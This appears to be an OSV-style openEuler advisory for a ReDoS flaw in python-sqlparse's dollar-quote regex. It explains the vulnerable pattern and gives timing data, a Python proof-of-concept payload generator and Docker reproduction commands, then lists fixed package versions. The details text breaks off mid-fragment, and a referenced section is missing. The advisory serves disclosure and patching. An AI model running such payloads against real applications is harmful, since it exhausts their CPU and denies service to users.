OESA-2026-3547

Source
https://www.openeuler.org/en/security/security-bulletins/detail/?id=openEuler-SA-2026-3547
Import Source
https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json
JSON Data
https://api.test.osv.dev/v1/vulns/OESA-2026-3547
Upstream
Published
2026-08-30T04:16:23Z
Modified
2026-08-30T04:31:40Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
python-sqlparse security update
Details

A non-validating SQL parser.

Security Fix(es):

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

  1. sqlparse/__init__.py:20parse(sql) accepts caller-controlled SQL.
  2. sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
  3. sqlparse/__init__.py:43FilterStack.run(stream, encoding) is invoked.
  4. sqlparse/engine/filter_stack.py:31lexer.tokenize(sql, encoding) is called with no length limit or timeout.
  5. sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
  6. sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers) Bytes Elapsed
250 1,889 0.066 s
500 3,889 0.144 s
1,000 7,889 0.397 s
2,000 16,889 1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

**E(CVE-2026-59893)

Database specific
{
    "severity": "High"
}
References

Affected packages

openEuler:20.03-LTS-SP4
python-sqlparse

Package

Name
python-sqlparse
Purl
pkg:rpm/openEuler/python-sqlparse&distro=openEuler-20.03-LTS-SP4

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.3.1-4.oe2003sp4

Ecosystem specific

{
    "noarch": [
        "python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm",
        "python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm"
    ],
    "src": [
        "python-sqlparse-0.3.1-4.oe2003sp4.src.rpm"
    ]
}

Database specific

source
"https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json"
openEuler:22.03-LTS-SP4
python-sqlparse

Package

Name
python-sqlparse
Purl
pkg:rpm/openEuler/python-sqlparse&distro=openEuler-22.03-LTS-SP4

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.4.2-4.oe2203sp4

Ecosystem specific

{
    "noarch": [
        "python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm",
        "python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm"
    ],
    "src": [
        "python-sqlparse-0.4.2-4.oe2203sp4.src.rpm"
    ]
}

Database specific

source
"https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json"
openEuler:24.03-LTS-SP1
python-sqlparse

Package

Name
python-sqlparse
Purl
pkg:rpm/openEuler/python-sqlparse&distro=openEuler-24.03-LTS-SP1

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.4.4-3.oe2403sp1

Ecosystem specific

{
    "noarch": [
        "python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm"
    ],
    "src": [
        "python-sqlparse-0.4.4-3.oe2403sp1.src.rpm"
    ]
}

Database specific

source
"https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json"
openEuler:24.03-LTS-SP3
python-sqlparse

Package

Name
python-sqlparse
Purl
pkg:rpm/openEuler/python-sqlparse&distro=openEuler-24.03-LTS-SP3

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.6.0-1.oe2403sp3

Ecosystem specific

{
    "noarch": [
        "python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm"
    ],
    "src": [
        "python-sqlparse-0.6.0-1.oe2403sp3.src.rpm"
    ]
}

Database specific

source
"https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json"
openEuler:24.03-LTS-SP4
python-sqlparse

Package

Name
python-sqlparse
Purl
pkg:rpm/openEuler/python-sqlparse&distro=openEuler-24.03-LTS-SP4

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.6.0-1.oe2403sp4

Ecosystem specific

{
    "noarch": [
        "python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm"
    ],
    "src": [
        "python-sqlparse-0.6.0-1.oe2403sp4.src.rpm"
    ]
}

Database specific

source
"https://repo.openeuler.org/security/data/osv/OESA-2026-3547.json"